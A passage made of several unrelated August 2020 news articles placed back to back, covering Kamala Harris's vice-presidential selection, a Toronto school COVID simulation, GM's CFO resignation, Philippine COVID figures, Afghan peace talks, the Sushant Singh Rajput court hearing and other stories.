March to select a woman as his vice president, easing frustration among Democrats that the presidential race would center on two white men in their 70s. Biden's search was expansive, including Massachusetts Sen. Elizabeth Warren, a leading progressive, Florida Rep. Val Demings, whose impeachment prosecution of Trump won plaudits, California Rep. Karen Bass, who leads the Congressional Black Caucus, former Obama national security adviser Susan Rice and Atlanta Mayor Keisha Lance Bottoms, whose passionate response to unrest in her city garnered national attention. Rice congratulated Harris on her selection, calling her a "tenacious and trailblazing leader." Rice said she would support Biden and Harris "with all my energy and commitment." Bass tweeted, @KamalaHarris is a great choice for Vice President. Her tenacious pursuit of justice and relentless advocacy for the people is what is needed right now. A woman has never served as president or vice president in the United States. Two women have been nominated as running mates on major party tickets: Democrat Geraldine Ferraro in 1984 and Republican Sarah Palin in 2008. Their parties lost in the general election. The vice presidential pick carries increased significance this year. If elected, Biden would be 78 when he's inaugurated in January, the oldest man to ever assume the presidency. He's spoken of himself as a transitional figure and hasn't fully committed to seeking a second term in 2024. If he declines to do so, his running mate would likely become a front-runner for the nomination that year. Harris won her first election in 2003 when she became San Francisco's district attorney. In the role, she created a reentry program for low-level drug offenders and cracked down on student truancy. She was elected California's attorney general in 2010, the first woman and Black person to hold the job, and focused on issues including the foreclosure crisis. She declined to defend the state's Proposition 8, which banned same-sex marriage and was later overturned by the U.S. Supreme Court. As her national profile grew, Harris built a reputation around her work as a prosecutor. After being elected to the Senate in 2016, she quickly gained attention for her assertive questioning of Trump administration officials during congressional hearings. In one memorable moment last year, Harris tripped up Attorney General William Barr when she repeatedly pressed him on whether Trump or other White House officials pressured him to investigate certain people. Harris launched her presidential campaign in early 2019 with the slogan "Kamala Harris For the People," a reference to her courtroom work. She was one of the highest-profile contenders in a crowded Democratic primary and attracted 20,000 people to her first campaign rally in Oakland. But the early promise of her campaign eventually faded. Her law enforcement background prompted skepticism from some progressives, and she struggled to land on a consistent message that resonated with voters. Facing fundraising problems, Harris abruptly withdrew from the race in December 2019, two months before the first votes of the primary were cast. One of Harris' standout moments of her presidential campaign came at the expense of Biden. During a debate, Harris said Biden made "very hurtful" comments about his past work with segregationist senators and slammed his opposition to busing as schools began to integrate in the 1970s. "There was a little girl in California who was a part of the second class to integrate her public schools, and she was bused to school every day," she said. "And that little girl was me." Shaken by the attack, Biden called her comments "a mischaracterization of my position." The exchange resurfaced recently one of Biden's closest friends and a co-chair of his vice presidential vetting committee, former Connecticut Sen. Chris Dodd, still harbors concerns about the debate and that Harris hadn't expressed regret. The comments attributed to Dodd and first reported by Politico drew condemnation, especially from influential Democratic women who said Harris was being held to a standard that wouldn't apply to a man running for president. Some Biden confidants said Harris' campaign attack did irritate the former vice president, who had a friendly relationship with her. Harris was also close with Biden's late son, Beau, who served as Delaware attorney general while she held the same post in California. But Biden and Harris have since returned to a warm relationship. "Joe has empathy, he has a proven track record of leadership and more than ever before we need a president of the United States who understands who the people are, sees them where they are, and has a genuine desire to help and knows how to fight to get us where we need to be," Harris said at an event for Biden earlier this summer. At the same event, she bluntly attacked Trump, labeling him a "drug pusher" for his promotion of the malaria drug hydroxychloroquine as a treatment for the coronavirus, which has not been proved to be an effective treatment and may even be more harmful. After Trump tweeted "when the looting starts, the shooting starts" in response to protests about the death of George Floyd, a Black man, in police custody, Harris said his remarks "yet again show what racism looks like." Harris has taken a tougher stand on policing since Floyd's killing. She co-sponsored legislation in June that would ban police from using chokeholds and no-knock warrants, set a national use-of-force standard and create a national police misconduct registry, among other things. It would also reform the qualified immunity system that shields officers from liability. The list included practices Harris did not vocally fight to reform while leading California's Department of Justice. Although she required DOJ officers to wear body cameras, she did not support legislation mandating it statewide. And while she now wants independent investigations of police shootings, she didn't support a 2015 California bill that would have required her office to take on such cases. "We made progress, but clearly we are not at the place yet as a country where we need to be and California is no exception," she told The Associated Press recently. But the national focus on racial injustice now shows "there's no reason that we have to continue to wait." Ronayne reported from Sacramento, Calif. Associated Press writers Alexandra Jaffe and Julie Pace contributed to this report from Washington. Primer ministro: La prioridad de mi gestion es, sin lugar a dudas, la lucha contra la pandemia. Ganar esta guerra requiere del trabajo conjunto y organizado en todos los niveles de gobierno, las municipalidades, los gobiernos regionales, el empresariado y la sociedad civil. pic.twitter.com/ujTaxqWPHH Before millions of students head back to school in a few weeks, experts at the Hospital for Sick Children will hold a much smaller dress rehearsal, hoping the lessons learned can help prepare for the real thing. But the study is facing some backlash for being conducted at private schools, with some questioning whether it can replicate reality in the majority of classrooms across the province. The COVID-19 Safe School Simulation will be held Aug. 19-20 in Toronto, by researchers who will examine mask use, as well as physical distancing and hand hygiene. Its really trying to get a dry run of what schools are going to look like, said Dr. Michelle Science, an infectious diseases specialist and co-principal investigator of the study, which is funded entirely by Sick Kids. We really recognize that everyone has a great deal of uncertainty about the return to school and we wanted to help reduce some of this uncertainty by generating evidence. The research team is particularly interested in looking at mask use, which will be mandatory for kids in Ontario starting in Grade 4. Researchers will film the students taking part in the study to see how they interact, destroying the film after the study wraps up. They will also use a harmless liquid that will only be visible under a special light to mimic how the virus might spread on surfaces across the classroom, replicate symptom screening, staggered schedules and physical distancing. All participants will be tested for COVID-19 in the 24-48 hours before the simulation, and asked to quarantine after they get tested. Theyre hoping to get 240 students and 12 to 14 teachers to participate, from junior kindergarten through high school. The simulation will be held at The Bishop Strachan School and Upper Canada College. Branksome Hall and The Sterling Hall School will help with recruitment. Organizers dont yet know the ratio of teacher to students it will depend on how many volunteers they get, Science said. Class size has been a contentious issue in Ontario, with 30 students potentially in one classroom. On Monday, the Toronto District School Board the provinces largest released its back to school plans. The board is also sending out a survey to parents this week asking if they plan to put their kids back in school with regular class sizes, or if they would consider doing so with smaller classes if there was provincial funding available for that. Its something Stephanie Davila, an elementary music teacher with the Toronto Catholic District School Board, is concerned about. She fears the study wont have the kind of class sizes she will have to contend with come September. The reality of my teaching is not going to be reflected and its not going to be something that Im going to look to or to reference, said Davila, one of dozens of people on social media who called out Sick Kids on the study. Shes also worried about the fact kids who need extra support in the classroom cant participate, and that the results wont reflect their needs. Lara Donsky, a special education inclusion consultant at TDSB, said she worries the students in the study would skew privileged, as its being conducted at private schools. It is open to other students, and the researchers are recruiting through social media, but theres an equity issue, she said. Areas where there have been high concentrations of COVID-19, the northwest corner in Toronto, for example, have parents and kids with different circumstances, and its important that those kids are reflected in studies that will be used to make decisions about reopening, she added. Donsky and others on social media noted that older public schools often have poor ventilation, some classrooms dont even have windows that could be opened to help get fresh air in a critical part of reducing transmission of COVID. If you want to use private schools fine, but balance it out with the public school system, Donsky said. Science said while recruitment for public school kids will be mainly over social media, she hopes parents and teachers will reach out through the email schoolsim.study@sickkids.ca. We are trying to recruit broadly, she said. The study is really open to any GTA student who is enrolled in public or other independent schools who meet the criteria, and were also wanting to have teachers from both private and public schools. The private schools were the ones that offered the space on such a tight timeline, she said, but public school teachers have been involved in helping to set up the study. The team recognizes the important differences between private and public schools, but this study will look more at behaviours and not physical classrooms. We really needed to use space that was available to us to help ensure that we can get the results out to the public as soon as possible, she said. We do realize that it is a short turnaround to conduct the study and so outreach to all of the communities might be limited. Due to the tight timeline, the study organizers were unable to include kids with special needs but hope this limitation can be addressed in future studies, working with the public school system. It is a starting point and we really hope to build on it, Science added. General Motors Chief Financial Officer Dhivya Suryadevara has resigned from the company after two years in the role to pursue a job outside the auto industry. GM said John Stapleton, the company's North America chief financial officer, will serve as acting global chief financial officer, effective Aug. 15. Suryadevara, the first woman to serve as GM, has joined Stripe, a global online payments company based in San Francisco, as its new CFO, Stripe said in a news release Tuesday. Im very excited to join Stripe at a pivotal time for the company. Stripes mission to increase the GDP of the internet is more important now than ever, Suryadevara said in Stripe's release. "I really enjoy leading complex, large-scale businesses and I hope to use my skills to help accelerate Stripes already steep growth trajectory. In an early morning news release Tuesday, GM said Suryadevara would leave the company "for an external opportunity outside the automotive industry. GM will conduct an internal and external search for a successor." Dhivya Suryadevara, GM vice president, Finance and Treasurer, effective July 1, 2015. (Photo taken Thursday, December 5, 2013 in New York, New York. "This is so disappointing," said Morningstar analyst David Whiston. "She is very good, and I think other firms realized that and one has now hired her. I dont think this was something (GM CEO Mary) Barra wanted to have happen, but it shows the caliber of talent she assembled is good." Indeed, Barra said Suryadevara has been a transformational leader. COVID-19 impact: Clorox is making 1 million packages of disinfecting wipes per day Retirement savers cash in: After shrugging off stock market woes in the spring, investors suddenly flush "She has helped the company strengthen our balance sheet, improve our cost structure, focus on cash generation and drive the right investments for our future," Barra said in a statement. "We wish her every success." GM's cost cuts Suryadevara, who joined GM in 2005, was 39 when she was named CFO in June 2018. She succeeded Chuck Stevens, who retired March 1, 2019, in September 2018. Prior to that, Suryadevara worked on GM's divesting of its Opel operations in Germany; its acquisition of autonomous technology business Cruise; GM's investment in ride-sharing service Lyft, and its partnership with SoftBank to invest $2.25 billion in Cruise. Story continues She was the driving force behind GM's November 2018 announcement that it would initially close five plants in North America and cut tens of thousands of salaried and hourly jobs to restructure the company. GM ended up permanently closing three: Ohio's Lordstown Assembly, which it has since sold to Lordstown Motors, Baltimore Transmission and Michigan's Warren Transmission. But GM thinned its ranks considerably under Suryadevara. It eliminated about 3,750 salaried workers through buyouts and terminated another 5,000. She said GM would get $2 billion to $2.5 billion in cost savings in 2019 from those actions. But with the coronavirus pandemic, 2020 has been a rough year for the auto industry and GM has not escaped unscathed, though it has held up better than its cross-town rivals Ford Motor Co. and Fiat Chrysler Automobiles. In the second quarter, GM reported a net loss of $800 million, down 132% from the same time a year earlier. GM burned through $8 billion in automotive operating cash in the quarter. But there were some bright spots. Suryadevara assured Wall Street that the second half of the year would improve and that GM would pay off the $16 billion revolving line of credit it took out this year to make it through the pandemic. And, as the Free Press first reported, GM said it would restore full pay to its 69,000 salaried employees a month ahead of schedule. More: GM to restore full pay for 69,000 workers but CEO to keep salary cut GM ended the quarter with $30.6 billion in automotive cash. In 2019, Suryadevara's total compensation was $6.8 million, up from $5.5 million in 2018. "I am grateful for the opportunities I have been given at GM," Suryadevara said. "While I look forward to a new opportunity that will allow me to apply my skills in a new sector, I have great confidence in GM's trajectory and future." Stapleton, 52, joined GM in 1990. He has been in his current role since January 2014. An avid fisherman in his spare time, Stapleton has held a series of financial roles with increasing responsibility in manufacturing, labor, performance improvement and operations, the company said. General Motors has named John Stapleton acting global chief financial officer, effective Aug. 15. The appointment follows the resignation of Dhivya Suryadevara, executive vice president and CFO, who will leave the company for an external opportunity outside the automotive industry. GM will conduct an internal and external search for a successor. A GM spokesman said Stapleton has held manufacturing finance roles at several of GM's plants and its Detroit headquarters. He has also been a key leader on several contract negotiations with the UAW, including during last fall's 40-day strike against the automaker in his role as CFO of GM North America. Follow Detroit Free Press reporter Jamie L. LaReau on Twitter @jlareauan. This article originally appeared on Detroit Free Press: GM CFO Dhivya Suryadevara resigns; John Stapleton takes her place Highlights Google has launched People Cards, a feature on Search to help users build their online presence. The virtual visiting cards feature is available only in India and on Mobile, as of now. Users can create their People card by typing in their name on Search and using Add Me to Search. Google on Tuesday launched a Search feature called People cards. People cards are virtual visiting cards of sorts that can be created on Google Search. People cards are designed to help people who want to be discovered online and for those who want to share their work. Users can now create a virtual visiting card on Search, highlight their existing website or social profiles. The feature has been launched in India and Google is not looking to expand this feature for the time being. The feature is only available on mobile and can be accessed only in English, as of now. "The new feature is aimed at helping the millions of individuals, influencers, entrepreneurs, prospective employees, self-employed people, freelancers, or anyone else out there who wants to be discovered and help the world find them. Starting today, users across India can discover the people cards on their mobile phones, in English," Google in a statement said. To create a People card, one should follow these steps: --Sign in to your Google account. --Search for your name or Type your name on Search. -- Tap on "Add me To Search" --Tap on the prompt that appears. --Fill in the details which you want to be displayed. To make a people card more descriptive, users can also add profile images from their Google accounts, links to their social profiles, their phone numbers, and email addresses. Google has included certain safeguards to ensure helpful and reliable information and to maintain the quality of information on cards. These include mechanisms to protect against abusive or offensive content, and limiting the experience with only one People Card allowed per Google Account. Users must authenticate a people card with a unique mobile number. This means for every new card, users will require a unique cell number. "The user will have complete control on the information to be included on the card and can opt-out of the experience anytime, which will stop their details from appearing in search. Besides, the feedback button can be used to identify and report low-quality information or a card that they believe was created by an impersonator," Google said. In case the user feels that there is an impersonation of his identity, it can be reported to Google. The information people put in Search cards is aimed at helping users distinguish people when they search for people with the same names. For people who share the same name, the Search will show multiple modules, and the unique information can help users distinguish between different individuals to find accurate information. When a user searches for someone's name and the card is available, they'll see a module with the name, profession, and location, which users can tap to see their card. Metro Manila (CNN Philippines, August 10) Nearly 7,000 new coronavirus cases were reported by the Department of Health on Monday, again breaking the countrys COVID-19 record for single-day spike. The country broke its August 4 record with 6,958 more infections added to the latest tally 5,394 detected in the last three days and the other 1,564 part of the validation backlog. These brought the national case count to 136,638, wherein 66,186 are active cases or currently ill patients, according to the DOH. Sixty percent or 4,163 of the new patients are from Metro Manila, according to the case report. The DOH added that Laguna registered 400, Rizal 363, Cavite 312, and Bulacan 178. It further detailed that 254 new cases were reported among returning overseas Filipinos. Recoveries also rose by 633, with the tally of survivors reaching 68,159. Meanwhile, the disease has claimed the lives of 24 more people, bringing the death toll to 2,293. The DOH noted that of the newly reported deaths, six occurred in August, 11 in July, while seven in April to June. Before the release of Monday's case updates, National Task Force Against COVID-19 Chairman Delfin Lorenzana said he believes Metro Manila and the provinces of Bulacan, Cavite, Laguna, and Rizal are likely ready to ease lockdown rules by August 19. READ: Metro Manila, 4 provinces may be ready to ease to GCQ by next week, Lorenzana says However, he did not discount the possibility that the strict protocols may be extended, should there be an observed increase in the number of new cases. "There is a chance kung talagang tataas nang grabe, siguro more than 6,000 to 10,000 per day ang bagong case, kailangan i-extend ang MECQ," he told CNN Philippines Monday afternoon. "Pero ako ay optimistic na bababa pa ito as we near August 18." [Translation: There is a chance for an extension if it spikes drastically to 6,000 to 10,000 cases daily. If this happens, then we need to extend the MECQ. But I am optimistic it will continue to go down as we draw closer to August 18.] Both Health Undersecretary Maria Rosario Vergeire and President of Philippine College of Physicians Dr. Mario Panaligan, meanwhile, said it is too early to give an assessment of the effectiveness of the MECQ. They said at least two to three weeks are needed to see the full impact of the lockdown. Meanwhile, public health advocate Dr. Mikey Vergara suggested that students should be asked to volunteer as contact tracers to further ramp up the national governments contact tracing efforts. But Vergara clarified that students should be provided with proper personal protective equipment and medical care before engaging in contact tracing because of the high risk of COVID-19 exposure. We really have to put up a strong offensive against the coronavirus. We really need to contact trace more, Vergara told CNN Philippines Rico Hizon on Monday. Three more Filipinos abroad also tested positive for the virus, according to the Department of Foreign Affairs. The tally of infections among overseas Filipinos reached 9,757, with 5,790 recoveries and 708 deaths. Globally, more than 731,000 people have died from COVID-19, out of over 19.8 million people who have fallen ill, according to the Johns Hopkins University. The data also shows 12.1 million people or around 60 percent of all patients worldwide have recovered. A south Alabama man wasnt about to let a global pandemic or computer problems mess up his chance at meeting someone. Thats why he resorted to a low-tech solution to solve his hi-tech problem. The Facebook group Our Southern Souls, which shares funny and inspiring stories from readers and others, related the story of the man, who identified himself as a 65-year-old ex-Marine named Mike. Freelance writer Lynn Oldshue, who writes the stories, said she saw a roadside sign near Fairhope. Susan - Call Mike, read the sign, posted at the corner of Alabama 181 and County Road 32 in Fairhope, with the mans home and cell phone numbers following. My computer is down!!! I wondered if it was on the level, Oldshue said. Is he flipping a house? Is this the real thing? So I called him. Oldshue spoke with Mike, who said he met a woman named Susan several months ago using an online dating service. She seemed nice and lived close by, he said. I was taking it real slow and keeping it to asking about her day. At this age when you make a mistake or get mixed up with the wrong person, it is hard to rebound. However, Mike hadnt managed to ask Susan her last name. During their last conversation, they talked about going to dinner, and she suggested they go out, Mike said. Two weeks ago, in the course of replying, Mike said, he accidentally hit delete, losing her information, with no way to find her or contact her. After wearing my tablet out trying to reestablish contact, he resorted to the sign. The only thing I knew to do was to put this sign in the area I think she passes through and hope she sees it, he wrote. I have gone to a couple of restaurants and stores in the area asking if anyone knows her. I guess they think I am crazy, but I really want to meet this woman. We have a lot in common and she seemed level-headed and nice. The man said he thought long and hard about putting up the sign, but it seemed his only hope. On Monday, Our Southern Souls announced that the woman had been found, and a date had been arranged. Oldshue said the woman had removed her information from the dating service, and had been out of town, so she hadnt seen the sign. However, she was still interested in meeting Mike. A good friend who is a fixer and problem solver, saw the post and contacted the Susan she knew. It was her, the post read. There is one perhaps unforeseen part of the story: Oldshue said Mike received a couple of calls from women who told him if he didnt find Susan to give them a call. Sinn Fein has said good riddance to a social media troll who was forced to resign from the party. Paul Heffernan, a Sinn Fein member in Wexford, confessed after being confronted by a businessman over anonymous abusive texts on social media. A party investigation found he had used a Twitter account to troll politicians of other parties, as well as various high-profile individuals. The account used the name Pee ONeill, a variant of well-known IRA codename P ONeill, which was used to claim attacks and make statements. Eoin O Broin, Sinn Feins spokesman on housing, said: With respect to the former member, good riddance. I think if you're going to say something on social media, then say it under your own name. This business of hiding behind anonymity, I think, is cowardly. Expand Close Eoin O Broin / Facebook Twitter Email Whatsapp Eoin O Broin Read More But Fine Gael TD Jennifer Carroll MacNeill said: It is time Mary Lou McDonald took action against the Sinn Fein trolls who are destroying Irish public discourse and bullying and intimidating people. Ahead of the new Dail term, every party should make a clear statement about how its members and representatives communicate on social media. All parties should instruct their members to use their real names online, and not fake accounts. This is most needed in Sinn Fein, as it seems they are actually engaged in organised online bullying, she said, pointing out that Sinn Fein recently advertised to recruit online activists. Any time a member of another party puts something online, they are met with an avalanche of abuse from Sinn Fein activists, she said, echoing an attack made by Fine Gael leader Leo Varadkar, who angrily denounced online bullying by Sinn Fein members on the last night of the Dail before it rose for the summer recess. Expand Close Jennifer Carroll MacNeill / Facebook Twitter Email Whatsapp Jennifer Carroll MacNeill But Mr O Broin said: I don't accept that the party doesn't do enough. In this instance, if that individual hadn't resigned from the party, you'd have lots of us making sure everything was done to get rid of such a person. And what I would say is: there is an element of social media, it's a minority, but it's nasty. We have far too many positive things to be talking about to be engaged in nasty or negative or vitriolic attacks on anybody, so I think our record stands for itself. Asked about the alleged organised operation of so-called Shinnerbots, Mr O Broin said: It's not true, it doesn't exist. People are accountable for what they say themselves online, and what we can do is we can urge people to use social media positively. The party doesn't benefit from negativity online, our party will benefit if people are positive. All I'd say to people is, if they want to do right by our party on social media or publicly, talk of the positives. Don't be engaging in the negative. Mr O Broin said that Mr Varadkar had no idea what he's talking about in alleging organised online bullying of people from other parties. Asked if Sinn Fein attracted more trolls than other parties, he said: People who vote for our party do so because of the policies that we advocate on housing and health and a United Ireland.He said Mr Varadkar would be better focused on fixing the problems he created during his last five years in government and dealing with the trolls in his own party. But Ms Carroll MacNeill said: Chris Andrews was invited to join Sinn Fein less than a year after he had to leave Fianna Fail due to the fake account he set up to harass and slander his internal party opponents. Breege Quinn, who has campaigned for truth following her son Pauls murder, is at the receiving end of constant online abuse. There have been years of examples of bullying in Sinn Fein, with a number of members and councillors having to resign. Sinn Fein activists take it to a new and dangerous level. Sinn Fein is not a normal party. They have allowed a situation to develop where online trolling is the norm. Mr O Broin responded: She's just engaging in some cheap political point-scoring. Sinn Fein has clear social media guidelines that apply to members of the party. If people are engaged in negativity on social media and they think it's helpful to shame, it's not. They should stop. Agreement On Taliban Prisoner Release Brings Afghan Peace Talks A Step Closer By RFE/RL August 10, 2020 The Afghan government and the Taliban are on the verge of starting peace talks aimed at ending almost two decades of war in Afghanistan after President Ashraf Ghani said that he will approve the release of 400 Taliban militants. Ghani announced his intention to sign a decree to release the militants on August 9, shortly after the move was recommended by 3,400 prominent Afghans at a three-day Loya Jirga in Kabul. Afghan government sources have suggested that Ghani is likely to sign the release order on August 10. The decision came more than five months after Washington and the Taliban made the release of prisoners by both sides a condition for the talks between the militant group and Kabul. The talks will start in Doha, Qatar, after the completion of the prisoner release, expected in the next few days, the U.S. special envoy for Afghanistan, Zalmay Khalilzad, said on Twitter. Khalilzad welcomed Ghani's decision and the declaration of the Loya Jirga, a traditional meeting of Afghan tribal elders and other stakeholders convened to decide on controversial national issues. "The parties will embark on a process to reach an agreement on a political roadmap & a permanent and comprehensive ceasefire to end the Afghan war," he said on Twitter. The United States supports the process to achieve a sustainable peace and the goal of attaining "a sovereign, unified, and democratic Afghanistan that is at peace with itself and its neighbors and does not pose a threat to the world," he added. "We are ready to sit for talks within a week from when we see our prisoners released. We are ready," Taliban spokesman Suhail Shaheen told Reuters on August 10. Shaheen declined to commit to a cease-fire as requested by Ghani, saying it will be decided during the talks, not before. The Afghan delegation is to be led by the former head of Afghanistan's National Directorate of Security, Masoom Stanakzai. The delegation will include Afghan politicians, former officials and representatives of civil society. Kabul has previously said that five members of the delegation would be women. Ghani had called for the Loya Jirga, saying that he did not have the authority under Afghanistan's constitution to release the 400 prisoners from Afghan jails because they'd committed violent crimes. "The decision of the Loya Jirga has removed the last excuse and obstacles on the way to peace talks. We are on the verge of peace talks," said Abdullah Abdullah, who headed the meeting and who is head of the High Council for National Reconciliation. Kabul already has released 4,600 Taliban inmates out of the 5,000 pledged in the landmark agreement signed in February by the United States and the Taliban. But Afghan officials have described the remaining prisoners as dangerous. About 200 of them are accused by the Afghan government of masterminding attacks on embassies, public squares, and government offices, killing thousands of civilians in recent years. The Taliban says it has freed all 1,000 government prisoners it had pledged in the agreement with the United States and insisted on the release of the remaining 400 prisoners. U.S. President Donald Trump, who is up for reelection in November, has said repeatedly that he wants to end America's longest war, which began after the September 11, 2001, terrorist attacks. With about three months to go until the election, Trump is eager to fulfill his promise to bring an end to the war and continue withdrawing U.S. troops. The drawdown will bring the number of U.S. troops to "a number less than 5,000" by the end of November, Defense Secretary Mark Esper said in an interview broadcast on August 8. With reporting by Reuters and AFP Source: https://www.rferl.org/a/taliban-prisoner-release- afghanistan-peace/30775182.html Copyright (c) 2020. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address T ech tycoon John McAfee has admitted it was not Norway where he was arrested while wearing a thong as a mask. McAfee, who is known for the eponymous anti-virus software, revealed on Monday, August 10, he had been held by police at an airport, tweeting: I am being held in Norway. That was reported by the media, including the Evening Standard, but after his release McAfee said on Tuesday he was actually trying to return to Germany and was refused entrance. He added: They demanded we wear masks. I put on my thong mask. They demanded I replace it. I refused. Tussle. Jail. Black eye. Released. The following day McAfee began criticising the media over quoting him that it was Norway, pointing out a police officer pictured with him had the German word Polizei on his shoulder badge. Swiss tabloid Blick said police in the German city of Augsburg confirmed McAfee wanted to enter but departed because he would have to go into quarantine. A police spokesman said there was no arrest. And in the latest twist, McAfee has seemingly also cast doubt on subsequent reports that the whole thing had been a hoax, tweeting on Wednesday: Love the news. My arrest was a hoax because I claimed I was in a different country:) When is the last time I gave correct information about my location? :) Former Finance Minister, Seth Terkper has disagreed with President Akufo-Addo's assertion that former President John Mahama superintended over the worst statistics in the country's economic history. Speaking on Ashanti regional-based Wontumi TV on Saturday, August 1, President Akufo-Addo said: This is the man (Mahama) who presided over the worst statistics in the economic history of our country, who also picked an economy and oil company and then sunk it into a 3.4 percent rate of growth. In a one-on-one interview on Neat FM's Me Man Nti programme, the former Finance Minister in the erstwhile Mahama administration said someone who presided over the worst economy would not have set up ESLA (Energy Sector Levy Act) "ESLA has brought in nearly 20bn . . . if we have this much revenue why do we still have bailouts not being paid? Why are we issuing bond without interest for five years? This is revenue which was described as a nuisance tax . . . the fact that they (NPP) said they will cancel it . . . so when my President (Akufo-Addo) describes his predecessor as worst . . . " He went further to give evidence to back his claim that Mahama did well in managing the economy. Listen to him in the video below Listen to him in the video below Source: Rebecca Addo Tetteh/Peacefmonline.com/Ghana Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Source: Xinhua| 2020-08-11 17:09:08|Editor: huaxia Video Player Close A woman looks at a protective goggle at a market in Manila, the Philippines on Aug. 11, 2020. The number of confirmed COVID-19 cases in the Philippines surged to 139,538 after the Department of Health (DOH) reported 2,987 new daily cases on Tuesday. (Xinhua/Rouelle Umali) MANILA, Aug. 11 (Xinhua) -- The number of confirmed COVID-19 cases in the Philippines surged to 139,538 after the Department of Health (DOH) reported 2,987 new daily cases on Tuesday. The DOH said the number of recoveries further rose to 68,432 after it reported 280 more patients have survived the disease. The death toll also increased to 2,312 after 19 more patients have succumbed to the viral disease, the DOH added. Metro Manila topped the five regions or provinces with the highest number of daily confirmed coronavirus cases reported on Tuesday with 1,510, followed by Cavite province, south of Manila, 398; Laguna province, south of Manila, 144; Iloilo province in the central Philippines, 135; and Cebu province, also in the central Philippines, 119. Due to COVID-19 community transmission, presidential spokesperson Harry Roque said the government will continue to ramp up testing, including those mild and asymptomatic people, so that they can be isolated from the rest of the community. "There is community transmission. That is why we continue to increase our testing capacity so we can isolate those who tested positive and stop the spread of the disease," Roque said in a televised media briefing in southern Philippine Davao City on Tuesday. Asked about the possibility of extending the two-week strict lockdown measures that Philippine President Rodrigo Duterte reimposed on Aug. 4 in Metro Manila and outlying provinces of Laguna, Cavite, Rizal and Bulacan, Roque said, "Anything is possible but highly unlikely." The lockdown ends on Aug. 18. Roque said the Duterte administration is "working darn hard" to beat COVID-19, adding that the government is not sleeping on the job. The Philippines reported its highest daily number of COVID-19 cases on Monday, with nearly 7,000 new cases. In an order issued late on Monday night, Duterte tasked the Philippine National Police (PNP) to assist the government's contact tracing efforts to stop the spread of the virus. Duterte held coronavirus meetings with some members of his Cabinet in Davao City, the hometown of the Philippine leader. The Philippines imposed in mid-March strict lockdown measures to contain the spread of COVID-19. But despite the nearly five-month lockdown, the Philippines continues to grapple with surging infections especially after the restrictions were eased in June. According to DOH, the country's 101 COVID-19 laboratories have tested a total of 1.7 million people so far. The country has a positivity rate, or the percentage of people who test positive for COVID-19 out of the total number of persons tested, of 9.90 percent, the DOH added. The DOH said the reproduction number, or the average of new infections generated by each COVID-19 case, as of July 21 is 1.239, meaning that one person can infect 1.239 more. Latest DOH data showed that the country's case fatality rate is 1.68 percent of the total cases. Mumbai Police is not investigating the death of actor Sushant Singh Rajput and no FIR has been registered by them, the Central Bureau of Investigation (CBI) and Bihar government told the Supreme Court on Friday, even as Maharashtra government and actor Rhea Chakraborty maintained that Bihar has absolutely no jurisdiction to interfere with the case which, they said, was being used by Bihar government to garner political mileage. The arguments and counter arguments were made before a single-judge bench of justice Hrishikesh Roy, who is hearing the transfer petition filed by Chakraborty seeking transfer from Patna to Mumbai of the case registered against her in connection with Rajputs death. FIR was registered by Bihar Police based on an incident which has no connection with Patna. I have apprehension of bias and fear that state interference led to Bihar police registering case. Patna police has absolutely no jurisdiction to register a case. This case is being used for political gains, senior counsel Shyam Divan submitted on behalf of Chakraborty. Divan also took exception to the media sensationalising the case, stating: Parallel media trial is happening which is highly undesirable. Having regard to the political impact, case should be transferred to Maharashtra. Solicitor general Tushar Mehta, appearing for CBI, submitted that the exercise being undertaken by the Mumbai Police cannot be termed as investigation under the Code of Criminal Procedure (CrPC). Mumbai police has registered an accidental death report under Section 174 of CrPC. Investigation as per CrPC was going on in Bihar and there is no such Investigation in Mumbai, he said. Section 174 of CrPC confers powers on police to enquire into suicide deaths and submit a report of the same to the District Magistrate. Mehta contended that it will not amount to an investigation, which can happen only under Section 156 of CrPC, which empowers police to probe into offences. Investigation cannot be done under Section 174 CrPC. It can happen under Section 156 of CrPC, an FIR has to be registered under section 154 of CrPC, Mehta said, advocating a CBI probe into the death. The Bihar government, through senior counsel Maninder Singh, echoed the same view, stating that only Bihar has registered an FIR in the case. There is a complete lapse of investigation on part of Mumbai police. Bihars FIR is the only FIR in the matter. Allegation is against political class in Maharashtra which has stopped even registering of FIR, Singh submitted. Senior counsel Abhishek Manu Singhvi, representing the Maharashtra government, opposed this. Allowing Bihar Police to probe an incident which happened in Mumbai will be against the principles of federalism since law-and-order falls within the domain of a state where the cause of action arose, he said. Murder of the CrPc is being attempted in this case where jurisdiction is a casualty. If this is allowed, it will be a fundamental assault on federalism. I have not seen so much sensationalism attached to a transfer petition. And in that, truth and law have become casualties, Singhvi argued. The court reserved its verdict after a hearing which lasted for nearly two-and-a-half hours. Rajput was found dead in his apartment in Mumbais Bandra on June 14. The Mumbai Police found the cause of death as asphyxia due to hanging, and filed an accidental death report (ADR) but is yet to register an FIR in relation to the incident. Chakraborty, who lived with Rajput for a year till she shifted to her house on June 8, was also questioned by Mumbai Police. The investigation by Mumbai Police was ongoing when Rajputs father, KK Singh, filed a police complaint at Rajeev Nagar police station in Patna on July 25 against Chakraborty, accusing her of abetting his sons alleged suicide. His father also alleged that Chakraborty illegally transferred Rs 15 crore from Rajputs bank account and mentally harassed him. Patna police registered an FIR on July 25 based on Singhs complaint for offences relating to abetment of suicide, cheating and criminal intimidation. Chakraborty moved the top court on July 29, challenging the jurisdiction of the Bihar Police in the matter, saying that the alleged crime took place in Mumbai. Meanwhile, CBI took over the probe on August 5 based on a request by Bihar Police. Senior counsel Vikas Singh, representing Rajputs father, raised suspicions about the manner in which Rajput was found dead. No one has seen my son hanging. When my daughter reached Rajput was lying on the bed. The mark on his neck it is a belt mark not a rope! If he was murdered it needs to be investigated, Vikas Singh argued on Tuesday. He maintained that Bihar Police has jurisdiction to probe the matter alleging that Mumbai Police was not investigating the case. I am from Patna and without my son I have no one to light my funeral pyre. This itself shows that Patna has jurisdiction, he said. Signage is seen at a free COVID-19 SARS-CoV-2 serology antibody testing community event, hosted by GUARDaHEART Foundation and Baldwin Hills Crenshaw Plaza in Los Angeles, California. Matt Winkelmeyer/Getty Images At least 377 workers at Los Angeles Apparel have tested positive for COVID-19, according to the Los Angeles County Department of Public Health. Dov Charney, the company's founder, denied there was an "outbreak" at his company in a July interview with Business Insider. Since then, two more workers have caught the coronavirus. "The facility is under surveillance and is following infection control measures and 